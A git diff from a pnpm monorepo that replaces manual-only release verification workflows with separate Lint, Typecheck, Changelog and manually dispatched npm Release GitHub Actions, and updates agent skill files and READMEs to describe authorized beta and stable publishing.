scripts/comment-coverage.json | 264 ------- scripts/verify-release.mjs | 692 ------------------ 53 files changed, 403 insertions(+), 1920 deletions(-) create mode 100644 .github/workflows/changelog.yml delete mode 100644 .github/workflows/check.yml create mode 100644 .github/workflows/lint.yml delete mode 100644 .github/workflows/patch.yml create mode 100644 .github/workflows/release.yml create mode 100644 .github/workflows/typecheck.yml delete mode 100644 .github/workflows/verify.yml delete mode 100644 llmdoc/guides/commenting.zh-CN.md create mode 100644 packages/acplugin/CHANGELOG.md create mode 100644 packages/extensions/hooks/CHANGELOG.md create mode 100644 packages/extensions/mcp/CHANGELOG.md create mode 100644 packages/platforms/antigravity/CHANGELOG.md create mode 100644 packages/platforms/claude-code/CHANGELOG.md create mode 100644 packages/platforms/codex/CHANGELOG.md create mode 100644 packages/platforms/cursor/CHANGELOG.md create mode 100644 packages/platforms/opencode/CHANGELOG.md create mode 100644 packages/platforms/pi/CHANGELOG.md delete mode 100644 packages/test/test/release/comment-coverage.test.ts delete mode 100644 scripts/check-comments.mjs delete mode 100644 scripts/comment-coverage.json delete mode 100644 scripts/verify-release.mjs diff --git a/.agents/skills/add-platform/SKILL.md b/.agents/skills/add-platform/SKILL.md index 6d78547..6e9cd13 100644 --- a/.agents/skills/add-platform/SKILL.md +++ b/.agents/skills/add-platform/SKILL.md @@ -27,5 +27,4 @@ pnpm run typecheck pnpm run test pnpm run build pnpm run docs:check -pnpm run release:verify ``` diff --git a/.agents/skills/npm-publish/SKILL.md b/.agents/skills/npm-publish/SKILL.md index 66f2d35..dd623b6 100644 --- a/.agents/skills/npm-publish/SKILL.md +++ b/.agents/skills/npm-publish/SKILL.md @@ -1,45 +1,42 @@ --- name: npm-publish -description: Prepare, verify, or explicitly publish the fixed @tokenroll/acplugin public package cohort with Changesets, pnpm tarballs, and maintainer-operated npm 2FA. Use for release planning, versioning, dry runs, registry verification, and fully manual npm publication. +description: Prepare, version, or explicitly publish independently versioned ACPlugin public packages with Changesets and pnpm. Use for beta dry runs/local publication or manual stable Release Action dispatch. --- -# Release the public cohort +# Release public packages -Never create or push a tag, publish, unpublish, change a dist-tag, or create a GitHub Release without explicit user authorization for that exact live mutation. Repository workflows must not automate those actions. +Never create or push a tag, unpublish, change a dist-tag, or create a GitHub Release without explicit user authorization for that exact live mutation. Stable npm publication is permitted only through the repository's manually dispatched Release Action; beta npm publication is permitted only when the user explicitly authorizes the local command. ## Prepare and verify -1. Confirm the three public packages have one version and Extensions use `workspace:^` for the main peer: - - `@tokenroll/acplugin-extension-hooks` - - `@tokenroll/acplugin-extension-mcp` - - `@tokenroll/acplugin` -2. Add a Changeset and run `pnpm version-packages` when changing an existing release version. Keep private packages ignored. -3. Run: +1. Confirm each affected public package has a Changeset. Versions remain independent. +2. After the feature reaches `main`, let `Changelog` create or update the version PR; do not manually consume the same Changesets concurrently. +3. Run behavior checks in proportion to risk: ```bash pnpm install --frozen-lockfile pnpm run check -pnpm run release:verify +pnpm run docs:check ``` -`release:verify` must prove that tarballs contain no private runtime dependency/source tests and that all three install, typecheck, import, validate, and build in an external clean consumer. +Official Platforms and Extensions must keep `@tokenroll/acplugin` as a `workspace:^` peer. pnpm rewrites that range when packing for publication. ## Publish manually -From the verified source revision, create pnpm tarballs outside the repository and ask an authorized TokenRoll maintainer to publish them in this order with `--access public` and OTP: +For beta versions, first inspect the no-write plan: -1. Hooks Extension -2. MCP Extension -3. Main package +```bash +pnpm run publish:beta:dry-run +``` -Verify every exact version with `npm view @ version`. If interrupted, resume only at the first missing exact version; never republish an existing version. +Only after explicit authorization, publish from the merged version revision: -## Create release references manually +```bash +pnpm run publish:beta -- --otp +``` -Only after all three exact versions are visible may the authorized maintainer create and push the matching tag: +For stable versions, exit Changesets prerelease mode, merge the stable version PR, then manually dispatch the `Release` Action from `main`. Do not add a push-triggered npm publication workflow. -```text -tokenroll-vX.Y.Z -``` +## Create release references manually -The tag does not trigger publication. Create the GitHub Release manually after verifying the pushed tag and Registry cohort. Never add an automated npm, Tag, dist-tag, or GitHub Release workflow without a new explicit project decision. +Tags and GitHub Releases are separate, explicitly authorized maintenance actions. Never add an automated tag, dist-tag, or GitHub Release workflow. diff --git a/.changeset/pre.json b/.changeset/pre.json index 0dac524..8736698 100644 --- a/.changeset/pre.json +++ b/.changeset/pre.json @@ -16,5 +16,7 @@ "@acplugin/playground": "0.0.1-beta", "@acplugin/test": "0.0.1-beta" }, - "changesets": [] + "changesets": [ + "kernel-v2-sdk-boundary" + ] } diff --git a/.github/workflows/changelog.yml b/.github/workflows/changelog.yml new file mode 100644 index 0000000..abd78e6 --- /dev/null +++ b/.github/workflows/changelog.yml @@ -0,0 +1,35 @@ +name: Changelog + +on: + push: + branches: [main] + +concurrency: + group: changelog-main + cancel-in-progress: false + +permissions: + contents: write + pull-requests: write + +jobs: + version: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + with: + fetch-depth: 0 + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: + node-version: 22.18.0 + cache: pnpm + - run: pnpm install --frozen-lockfile + - name: Create or update the version PR + uses: changesets/action@v1 + with: + version: pnpm run version-packages + commit: "chore(release): version packages" + title: "chore(release): version packages" + env: + GITHUB_TOKEN: ${{ github.token }} diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml deleted file mode 100644 index 75dbfc3..0000000 --- a/.github/workflows/check.yml +++ /dev/null @@ -1,49 +0,0 @@ -name: Check - -on: - pull_request: - -permissions: - contents: read - -jobs: - check: - name: Lint and typecheck - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v6 - - uses: pnpm/action-setup@v6 - - uses: actions/setup-node@v6 - with: - node-version: 22.18.0 - cache: pnpm - - run: pnpm install --frozen-lockfile - - run: pnpm run versions:check - - run: pnpm run lint - - run: pnpm run typecheck - - test: - name: Test - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v6 - - uses: pnpm/action-setup@v6 - - uses: actions/setup-node@v6 - with: - node-version: 22.18.0 - cache: pnpm - - run: pnpm install --frozen-lockfile - - run: pnpm run test - - docs: - name: Docs and playground - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v6 - - uses: pnpm/action-setup@v6 - - uses: actions/setup-node@v6 - with: - node-version: 22.18.0 - cache: pnpm - - run: pnpm install --frozen-lockfile - - run: pnpm run docs:check diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml new file mode 100644 index 0000000..103f46a --- /dev/null +++ b/.github/workflows/lint.yml @@ -0,0 +1,25 @@ +name: Lint + +on: + pull_request: + types: [opened, synchronize, ready_for_review, reopened] + +concurrency: + group: lint-${{ github.event.pull_request.number }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + lint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: + node-version: 22.18.0 + cache: pnpm + - run: pnpm install --frozen-lockfile + - run: pnpm run lint diff --git a/.github/workflows/patch.yml b/.github/workflows/patch.yml deleted file mode 100644 index 94fbab5..0000000 --- a/.github/workflows/patch.yml +++ /dev/null @@ -1,146 +0,0 @@ -name: Patch - -on: - workflow_dispatch: - inputs: - target_branch: - description: Branch that contains the Changesets and will receive the version PR - required: true - type: string - -concurrency: - group: patch-${{ inputs.target_branch }} - cancel-in-progress: false - -permissions: - contents: write - pull-requests: write - -jobs: - patch: - name: Create version PR - runs-on: ubuntu-latest - steps: - - name: Require the trusted default-branch workflow - shell: bash - env: - WORKFLOW_BRANCH: ${{ github.ref_name }} - DEFAULT_BRANCH: ${{ github.event.repository.default_branch }} - run: | - set -euo pipefail - if [[ "$WORKFLOW_BRANCH" != "$DEFAULT_BRANCH" ]]; then - echo "::error::Run Patch from the default branch and select the source with target_branch." - exit 1 - fi - - - name: Check out the target branch - uses: actions/checkout@v6 - with: - ref: ${{ inputs.target_branch }} - fetch-depth: 0 - - - uses: pnpm/action-setup@v6 - - uses: actions/setup-node@v6 - with: - node-version: 22.18.0 - cache: pnpm - - - run: pnpm install --frozen-lockfile - - - name: Require at least one effective Changeset - shell: bash - run: | - set -euo pipefail - status_file="$(mktemp)" - pnpm changeset status --output "$status_file" - node - "$status_file" <<'NODE' - const fs = require('node:fs') - const status = JSON.parse(fs.readFileSync(process.argv[2], 'utf8')) - if (!Array.isArray(status.releases) || status.releases.length === 0) { - console.error('::error::The target branch must contain at least one Changeset that bumps a public package.') - process.exit(1) - } - const publicReleases = status.releases.filter(release => release.name.startsWith('@tokenroll/')) - if (publicReleases.length === 0 || publicReleases.some(release => !/^\d+\.\d+\.\d+-beta\.\d+$/.test(release.newVersion))) { - console.error('::error::The beta branch may only create explicit beta prerelease versions.') - process.exit(1) - } - NODE - - - name: Consume Changesets and bump independent packages - shell: bash - run: | - set -euo pipefail - before_file="$(mktemp)" - after_file="$(mktemp)" - node - "$before_file" <<'NODE' - const fs = require('node:fs') - const paths = [ - 'packages/acplugin/package.json', - 'packages/platforms/claude-code/package.json', - 'packages/platforms/codex/package.json', - 'packages/platforms/cursor/package.json', - 'packages/platforms/antigravity/package.json', - 'packages/platforms/opencode/package.json', - 'packages/platforms/pi/package.json', - 'packages/extensions/hooks/package.json', - 'packages/extensions/mcp/package.json', - ] - fs.writeFileSync(process.argv[2], JSON.stringify(Object.fromEntries(paths.map(file => { - const manifest = require(`./${file}`) - return [manifest.name, manifest.version] - })))) - NODE - pnpm version-packages - node - "$after_file" <<'NODE' - const fs = require('node:fs') - const paths = [ - 'packages/acplugin/package.json', - 'packages/platforms/claude-code/package.json', - 'packages/platforms/codex/package.json', - 'packages/platforms/cursor/package.json', - 'packages/platforms/antigravity/package.json', - 'packages/platforms/opencode/package.json', - 'packages/platforms/pi/package.json', - 'packages/extensions/hooks/package.json', - 'packages/extensions/mcp/package.json', - ] - fs.writeFileSync(process.argv[2], JSON.stringify(Object.fromEntries(paths.map(file => { - const manifest = require(`./${file}`) - return [manifest.name, manifest.version] - })))) - NODE - node - "$before_file" "$after_file" <<'NODE' - const fs = require('node:fs') - const before = JSON.parse(fs.readFileSync(process.argv[2], 'utf8')) - const after = JSON.parse(fs.readFileSync(process.argv[3], 'utf8')) - if (!Object.keys(after).some(name => before[name] !== after[name])) { - console.error('::error::The Changesets did not bump any public package.') - process.exit(1) - } - NODE - pnpm install --lockfile-only - - - run: pnpm run versions:check - - run: pnpm run lint - - run: pnpm run typecheck - - run: pnpm run test - - - name: Create or update the version PR - id: version-pr - uses: peter-evans/create-pull-request@v8 - with: - token: ${{ github.token }} - base: ${{ inputs.target_branch }} - branch: changeset-version/${{ inputs.target_branch }} - delete-branch: true - commit-message: "chore(release): version packages" - title: "chore(release): version packages" - body: | - Consumes the Changesets from `${{ inputs.target_branch }}` and updates the independently versioned public packages and changelogs. - - This pull request does not publish packages, create tags, or create a GitHub Release. - - - name: Report pull request - if: steps.version-pr.outputs.pull-request-url - run: echo "Created or updated ${{ steps.version-pr.outputs.pull-request-url }}" diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..f95619e --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,37 @@ +name: Release + +on: + workflow_dispatch: + +permissions: + contents: read + +jobs: + release: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: + node-version: 22.18.0 + cache: pnpm + registry-url: https://registry.npmjs.org/ + - run: pnpm install --frozen-lockfile + - name: Require stable public package versions + shell: bash + run: | + node --input-type=module <<'NODE' + import { readFile } from 'node:fs/promises' + import { publicPackageManifestPaths } from './scripts/public-packages.mjs' + + for (const file of publicPackageManifestPaths) { + const manifest = JSON.parse(await readFile(file, 'utf8')) + if (!/^\d+\.\d+\.\d+$/u.test(manifest.version)) + throw new Error(`Release only publishes stable versions; found ${manifest.name}@${manifest.version}.`) + } + NODE + - name: Publish stable public packages + run: pnpm run release + env: + NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} diff --git a/.github/workflows/typecheck.yml b/.github/workflows/typecheck.yml new file mode 100644 index 0000000..7127f1e --- /dev/null +++ b/.github/workflows/typecheck.yml @@ -0,0 +1,25 @@ +name: Typecheck + +on: + pull_request: + types: [opened, synchronize, ready_for_review, reopened] + +concurrency: + group: typecheck-${{ github.event.pull_request.number }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + typecheck: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: + node-version: 22.18.0 + cache: pnpm + - run: pnpm install --frozen-lockfile + - run: pnpm run typecheck diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml deleted file mode 100644 index 2d6016a..0000000 --- a/.github/workflows/verify.yml +++ /dev/null @@ -1,98 +0,0 @@ -name: Verify - -on: - workflow_dispatch: - -permissions: - contents: read - -jobs: - pack: - name: Build and verify tarballs - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v6 - - uses: pnpm/action-setup@v6 - - uses: actions/setup-node@v6 - with: - node-version: 22.18.0 - cache: pnpm - - run: pnpm install --frozen-lockfile - - run: pnpm run build - - name: Verify and retain the public packages - run: pnpm run release:verify -- --tarball-dir "$RUNNER_TEMP/acplugin-tarballs" - - name: Upload the exact verified tarballs - uses: actions/upload-artifact@v7 - with: - name: acplugin-verified-tarballs - path: ${{ runner.temp }}/acplugin-tarballs/*.tgz - if-no-files-found: error - retention-days: 7 - - node-20-consumer: - name: Consume tarballs on Node 20.19 - needs: pack - runs-on: ubuntu-latest - steps: - - uses: pnpm/action-setup@v6 - - uses: actions/setup-node@v6 - with: - node-version: 20.19.0 - - name: Download the exact verified tarballs - uses: actions/download-artifact@v8 - with: - name: acplugin-verified-tarballs - path: tarballs - - name: Create a clean Node 20 consumer - shell: bash - run: | - set -euo pipefail - mkdir -p consumer/src/skills/hello - node --input-type=module - "$(pwd)/tarballs" "$(pwd)/consumer" <<'NODE' - import fs from 'node:fs' - import path from 'node:path' - - const [tarballDirectory, consumer] = process.argv.slice(2) - const files = fs.readdirSync(tarballDirectory) - const locate = pattern => path.join(tarballDirectory, files.find(file => pattern.test(file))) - const dependencies = { - '@tokenroll/acplugin': `file:${locate(/^tokenroll-acplugin-\d/)}`, - '@tokenroll/acplugin-platform-claude-code': `file:${locate(/^tokenroll-acplugin-platform-claude-code-/)}`, - '@tokenroll/acplugin-platform-codex': `file:${locate(/^tokenroll-acplugin-platform-codex-/)}`, - '@tokenroll/acplugin-platform-cursor': `file:${locate(/^tokenroll-acplugin-platform-cursor-/)}`, - '@tokenroll/acplugin-platform-antigravity': `file:${locate(/^tokenroll-acplugin-platform-antigravity-/)}`, - '@tokenroll/acplugin-platform-opencode': `file:${locate(/^tokenroll-acplugin-platform-opencode-/)}`, - '@tokenroll/acplugin-platform-pi': `file:${locate(/^tokenroll-acplugin-platform-pi-/)}`, - '@tokenroll/acplugin-extension-hooks': `file:${locate(/^tokenroll-acplugin-extension-hooks-/)}`, - '@tokenroll/acplugin-extension-mcp': `file:${locate(/^tokenroll-acplugin-extension-mcp-/)}`, - } - fs.writeFileSync(path.join(consumer, 'package.json'), `${JSON.stringify({ - name: 'acplugin-node-20-consumer', - version: '0.0.0', - private: true, - type: 'module', - dependencies, - }, null, 2)}\n`) - fs.writeFileSync(path.join(consumer, 'acplugin.config.ts'), `import { defineConfig } from '@tokenroll/acplugin'; - import claudeCode from '@tokenroll/acplugin-platform-claude-code'; - import codex from '@tokenroll/acplugin-platform-codex'; - - export default defineConfig({ - name: 'node-20-consumer', - version: '1.0.0', - description: 'Node 20 packed consumer.', - platforms: [claudeCode(), codex()], - }); - `) - fs.writeFileSync(path.join(consumer, 'src/skills/hello/SKILL.md'), `--- - description: Verify the Node 20 consumer. - --- - Build the packed public packages on Node 20. - `) - NODE - - name: Install and execute the clean consumer - working-directory: consumer - run: | - pnpm install --ignore-workspace - node --input-type=module --eval "await Promise.all([import('@tokenroll/acplugin'), import('@tokenroll/acplugin-platform-claude-code'), import('@tokenroll/acplugin-platform-codex'), import('@tokenroll/acplugin-platform-cursor'), import('@tokenroll/acplugin-platform-antigravity'), import('@tokenroll/acplugin-platform-opencode'), import('@tokenroll/acplugin-platform-pi'), import('@tokenroll/acplugin-extension-hooks'), import('@tokenroll/acplugin-extension-mcp')])" - pnpm exec acplugin build --json diff --git a/.husky/pre-commit b/.husky/pre-commit index 28ace0a..30ae3e8 100644 --- a/.husky/pre-commit +++ b/.husky/pre-commit @@ -1,3 +1,2 @@ pnpm exec lint-staged -pnpm run comments:check pnpm run typecheck diff --git a/AGENTS.md b/AGENTS.md index 8e1c968..fa9d614 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -128,7 +128,6 @@ pnpm run typecheck pnpm run test pnpm run build pnpm run docs:check -pnpm run release:verify ``` 新增功能必须按风险补充:schema/graph、Platform golden、Extension/Contributor 生命周期、Runtime 单次构建与能力交付、Asset owner 隔离、事务故障、CLI 子进程/退出码、Watch 恢复、Hook Contributor、MCP 协议、Migration 和 tarball consumer 测试。不得用缺少 fixture 的大面积 skip 代替验证。 @@ -136,12 +135,12 @@ pnpm run release:verify ## 发行 - 九个公开包由 Changesets 独立版本化;兼容性由 lifecycle `apiVersion` 和主包 peer range 表达,不使用 fixed group。 -- `Check` Workflow 在 PR 上自动执行 lint/typecheck,并通过独立 Job 执行完整 `test` 与 `docs:check`。 -- `Patch` Workflow 只能手工触发;从默认分支选择目标分支,在写版本前确认至少一个有效 Changeset 会升级公开包,再消费 Changesets、生成 changelog、升级各自声明的公开包版本,并创建回到该目标分支的版本 PR。 -- 所有版本均由维护者从已验证 tarball 手工发布;仓库不得添加 Tag/npm 自动发布 Workflow。 -- 每个变更的公开包都要验证 Registry 精确版本;依赖新的主包 peer range 时先发布主包,再发布对应 Platform/Extension。 -- 对应 npm 版本存在后,再由维护者手工创建该版本的 Tag 和 GitHub Release。 -- 禁止自动 publish/unpublish、修改 dist-tag、创建 Tag 或 GitHub Release,除非用户明确要求执行对应操作。 +- `Lint` 与 `Typecheck` Workflows 在 PR 创建、更新时独立执行;完整测试、Docs/Playground 和 tarball consumer 检查由开发者按改动风险运行。 +- `Changelog` Workflow 在 `main` 收到合并后检查未消费 Changeset,并只创建或更新版本与 CHANGELOG PR;它不发布任何 package。 +- `Release` Workflow 只能手工触发,只发布稳定 semver 版本到 npm `latest`;它不创建 Tag、GitHub Release 或独立 dist-tag 操作。 +- beta 版本由维护者在本地使用 `pnpm run publish:beta` 发布;先使用 `pnpm run publish:beta:dry-run` 检查结果。 +- 发布一律使用根命令的 `pnpm -r --filter '@tokenroll/*' publish --ignore-scripts`,让 pnpm 在已完成的根构建后打包公开 workspace、改写 `workspace:^` 并按依赖拓扑处理;不得恢复自定义 tarball 发布器或 Registry 轮询协议。 +- 禁止 unpublish、创建 Tag、GitHub Release 或修改已有 dist-tag,除非用户明确要求执行对应操作。 ## Git 与改动安全 diff --git a/README.md b/README.md index 31d83ba..bf56a52 100644 --- a/README.md +++ b/README.md @@ -415,14 +415,18 @@ The official integrations use the same public lifecycle SDK available to third-p pnpm install pnpm run check pnpm run docs:check -pnpm run release:verify ``` -`release:verify` creates all nine public tarballs from one revision, inspects their files/manifests and type resolution, verifies peer rewriting and brand interoperability, and installs a six-Platform/two-Extension scaffold into a clean external consumer while exercising the built-in Runtime. It performs no npm publication. +Pull requests run separate Lint and Typecheck Actions. After a feature PR containing Changesets merges into `main`, the Changelog Action consumes the pending Changesets and opens or updates a version PR containing the independent package version bumps and changelogs. It never publishes packages. -Pull requests automatically run lint/typecheck and an independent Docs/Playground quality gate. The manually dispatched `Patch` workflow accepts a target branch containing at least one effective Changeset that bumps a public package, consumes its Changesets to bump versions and generate changelogs, and opens a version PR back to that branch. +The manually dispatched Release Action only publishes stable semver versions to npm `latest`; it does not create tags or GitHub Releases. Beta publication stays local to an authorized maintainer: -Every package is versioned independently and only changed packages are published. If a new integration release requires a newly published main-package peer range, publish and verify that main-package version first; otherwise unrelated integrations have no prescribed order. Each exact Registry version, package-specific tag, and GitHub Release is handled manually. The repository contains no automated publication workflow. +```bash +pnpm run publish:beta:dry-run +pnpm run publish:beta +``` + +Both beta and stable release commands build once and then use pnpm's recursive public-workspace publish flow, which rewrites `workspace:^` peer ranges in packed manifests. Packages are independently versioned; do not create tags or GitHub Releases unless separately authorized. ## License diff --git a/README.zh-CN.md b/README.zh-CN.md index 2127555..48ba95d 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -411,14 +411,18 @@ pnpm run docs:check # 检查文档结构/构建和真实 Playground pnpm install pnpm run check pnpm run docs:check -pnpm run release:verify ``` -`release:verify` 会从同一 Revision 创建九个公开 tarball,检查 Manifest、文件列表、类型解析、peer rewrite 和品牌互操作,并在 monorepo 外的干净消费者中构建六 Platform/两个 Extension 脚手架并验证内建 Runtime;不会发布 npm。 +PR 会分别触发 Lint 与 Typecheck Action。带有 Changeset 的功能 PR 合并到 `main` 后,Changelog Action 会消费待处理 Changeset,并创建或更新包含独立 package 版本升级和 changelog 的版本 PR;它绝不发布 package。 -PR 会自动执行 lint/typecheck,并通过独立的 Docs/Playground 质量门。手工触发的 `Patch` Workflow 接收一个至少包含一份会升级公开包的有效 Changeset 的目标分支,消费 Changesets 以升级版本并生成 changelog,随后创建一个合并回该目标分支的版本 PR。 +手工触发的 Release Action 只发布稳定 semver 版本到 npm `latest`,不会创建 Tag 或 GitHub Release。beta 仍由获得授权的维护者在本地发布: -九个公开 package 独立版本化,只发布发生版本变化的 package。如果新的集成版本要求尚未发布的主包 peer range,先发布并验证该主包版本;除此之外,各集成之间没有固定顺序。每个 Registry 精确版本、package 对应的 Tag 和 GitHub Release 都由维护者手工处理;仓库不包含自动发布 Workflow。 +```bash +pnpm run publish:beta:dry-run +pnpm run publish:beta +``` + +beta 与稳定版命令均先构建一次,再使用 pnpm 的递归公开 workspace 发布流程;pnpm 会在打包 manifest 中改写 `workspace:^` peer range。九个 package 独立版本化;除非另获授权,不要创建 Tag 或 GitHub Release。 ## License diff --git a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md index e6f73d1..c06d3c0 100644 --- a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md +++ b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.md @@ -15,13 +15,13 @@ The repository build tool and the published packages have different Node.js cons 3. All public packages declare the intersection supported by their current direct runtime dependencies: `^20.19.0 || ^22.13.0 || >=23.5.0`. 4. Generated Hooks/MCP code and package bundles retain the `node20` target. `@types/node` remains on the Node 20.19 API baseline. 5. Private package manifests are not mass-rewritten to the repository toolchain range. Core is not published and its emitted code remains part of the Node 20-targeted main-package bundle. -6. Release verification builds and packs on Node 22.18, then installs the exact verified tarballs in a separate Node 20.19 clean consumer smoke test. +6. The repository Actions use Node 22.18 while published package manifests keep the separately declared Node 20.19-compatible runtime range. ## Consequences -- Node 20 support is a tested product capability rather than an inaccurate broad manifest claim. +- Node 20 support is expressed by the package runtime range rather than the repository build-tool range. - Contributors use the Node version required by the build tool without forcing every consumer to use it. -- Runtime dependency upgrades must re-check the public engine intersection and the Node 20.19 consumer test. +- Runtime dependency upgrades must re-check the public engine intersection. - Commander 15 features cannot be used while Node 20 remains supported; such an upgrade requires a new runtime-floor decision. ## Rejected alternatives @@ -38,6 +38,6 @@ The repository build tool and the published packages have different Node.js cons - `packages/platforms/*/package.json:11` - `packages/extensions/hooks/package.json:11,21-28` - `packages/extensions/mcp/package.json:11,20-27` -- `.github/workflows/check.yml:16-19` -- `.github/workflows/patch.yml:42-46` +- `.github/workflows/lint.yml` +- `.github/workflows/typecheck.yml` - Locked manifests: tsdown 0.22.14, Commander 14.0.1, Chokidar 5.0.0, Rolldown 1.2.2, and `@inquirer/prompts` 8.5.2 diff --git a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md index dbe6f81..d57f71d 100644 --- a/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md +++ b/llmdoc/architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md @@ -15,13 +15,13 @@ 3. 全部公开 package 声明当前直接运行依赖的支持交集:`^20.19.0 || ^22.13.0 || >=23.5.0`。 4. 生成的 Hooks/MCP 代码与 package bundle 保持 `node20` target;`@types/node` 保持 Node 20.19 API 基线。 5. 不把私有 package manifest 批量改成仓库工具链范围。Core 不发布,其 emitted code 最终属于以 Node 20 为目标的主包 bundle。 -6. 发布验证在 Node 22.18 构建并打包,再用单独的 Node 20.19 clean consumer smoke 安装同一批已验证 tarball。 +6. 仓库 Action 使用 Node 22.18;已发布 package manifest 继续声明独立的 Node 20.19 兼容运行时范围。 ## 影响 -- Node 20 支持成为有测试的产品能力,而不是不准确的宽范围声明。 +- Node 20 支持由 package 运行时范围表达,而不受仓库构建工具范围牵连。 - 贡献者使用构建工具所需版本,但消费者无需被迫跟随仓库工具链。 -- 升级运行依赖时必须重新检查公开 engine 交集与 Node 20.19 consumer 测试。 +- 升级运行依赖时必须重新检查公开 engine 交集。 - 保留 Node 20 期间不能使用 Commander 15 专属能力;升级需要新的 runtime-floor 决策。 ## 未采用方案 @@ -38,6 +38,6 @@ - `packages/platforms/*/package.json:11` - `packages/extensions/hooks/package.json:11,21-28` - `packages/extensions/mcp/package.json:11,20-27` -- `.github/workflows/check.yml:16-19` -- `.github/workflows/patch.yml:42-46` +- `.github/workflows/lint.yml` +- `.github/workflows/typecheck.yml` - lock 中固定的 tsdown 0.22.14、Commander 14.0.1、Chokidar 5.0.0、Rolldown 1.2.2 与 `@inquirer/prompts` 8.5.2 manifest diff --git a/llmdoc/guides/commenting.zh-CN.md b/llmdoc/guides/commenting.zh-CN.md deleted file mode 100644 index cd968e9..0000000 --- a/llmdoc/guides/commenting.zh-CN.md +++ /dev/null @@ -1,31 +0,0 @@ -# 中文代码注释规范 - -本规范用于说明 ACPlugin 仓库中中文代码注释的覆盖范围、内容要求和维护方式。注释需要解释职责、业务语义、生命周期、不变量和设计原因,不应逐字翻译代码。 - -## 声明注释 - -每个函数、方法、类、接口、类型别名和枚举前必须提供中文 TSDoc。公开 API 还应使用 `@param`、`@returns`、`@throws` 或正文说明参数、返回值、失败方式和调用阶段。 - -模块级常量、模块状态和类字段必须在声明前说明其用途。类型字段在仅凭名称无法确定约束、单位、所有权或生命周期时也必须添加说明。 - -## 局部变量注释 - -具有独立业务语义的局部变量应在声明前使用中文单行注释,重点解释变量在当前算法中的角色。函数参数由 TSDoc 的 `@param` 统一解释。 - -以下结构性绑定通常不单独添加注释:循环迭代变量、`catch` 绑定、简单数组索引、语义明确的测试 `actual/expected` 变量,以及只用于语法拆分的解构绑定。 - -## 关键逻辑注释 - -事务提交与回滚、路径包含检查、凭据脱敏、Asset/Package 冲突、Extension 生命周期、平台降级和非显然算法必须解释“为什么这样处理”和“必须保持什么条件”。不要使用“遍历数组”“返回结果”“创建变量”之类复述语句的注释。 - -嵌入模板字符串的运行时代码只在生成器边界和关键协议分支处解释,避免把大量开发注释写入最终 Plugin 产物。 - -## 自动守卫 - -`pnpm run comments:check` 使用根目录显式安装的 TypeScript 6 兼容 Compiler API 检查已纳入覆盖范围的文件;Package 编译和类型检查仍由 TypeScript 7 完成。受检查的声明必须存在中文前置注释;覆盖范围记录在 `scripts/comment-coverage.json`。 - -每完成一个子系统,就把其源码文件加入覆盖列表。已经进入列表的文件不得通过删除注释或改写为空洞注释来绕过检查。方法内部注释的准确性由代码 review 验收。 - -## 文档同步 - -注释只解释实现附近的局部契约。跨模块架构、用户工作流和发布流程仍以 `llmdoc/` 稳定文档为准。改变公开行为时必须同时更新代码注释、英文稳定文档及对应中文文档。 diff --git a/llmdoc/guides/package-code-tour.zh-CN.md b/llmdoc/guides/package-code-tour.zh-CN.md index c4a347b..0a424b5 100644 --- a/llmdoc/guides/package-code-tour.zh-CN.md +++ b/llmdoc/guides/package-code-tour.zh-CN.md @@ -250,7 +250,8 @@ schema-v2 `BuildReport` 包含: | `packages/extensions/*/test/` | descriptor、build、Contributor、compatibility、真实 runtime/protocol | | `packages/test/test/{architecture,api,cli,platforms,extensions,release}/` | 架构、公开 API、CLI、六平台、Extension 与发行边界集成;Migration 保持根测试路径 | | `scripts/verify-playground.mjs` | 全能力文件树、协议执行、Secret、双构建确定性 | -| `scripts/verify-release.mjs` | 九个 tarball、ATTW/publint、peer rewrite、clean consumer | +| `.github/workflows/changelog.yml` | `main` 合并后消费 Changeset 并维护版本/CHANGELOG PR | +| `.github/workflows/release.yml` | 手工发布稳定 npm 版本;beta 使用本地 pnpm 命令 | 完整门禁: @@ -260,7 +261,6 @@ pnpm run typecheck pnpm run test pnpm run build pnpm run docs:check -pnpm run release:verify ``` ## 15. 修改入口速查 diff --git a/llmdoc/guides/release.md b/llmdoc/guides/release.md index 5277713..4d1b1e5 100644 --- a/llmdoc/guides/release.md +++ b/llmdoc/guides/release.md @@ -1,84 +1,49 @@ -# Manually releasing independently versioned public packages +# Releasing independently versioned public packages > [中文对照](release.zh-CN.md) -The repository has nine independently versioned public packages: +ACPlugin has nine independently versioned public npm packages: the main package, six Platform packages, and Hooks/MCP Extensions. Core, Test, Docs, and Playground are private and must never be published. -- `@tokenroll/acplugin` -- `@tokenroll/acplugin-platform-claude-code` -- `@tokenroll/acplugin-platform-codex` -- `@tokenroll/acplugin-platform-cursor` -- `@tokenroll/acplugin-platform-antigravity` -- `@tokenroll/acplugin-platform-opencode` -- `@tokenroll/acplugin-platform-pi` -- `@tokenroll/acplugin-extension-hooks` 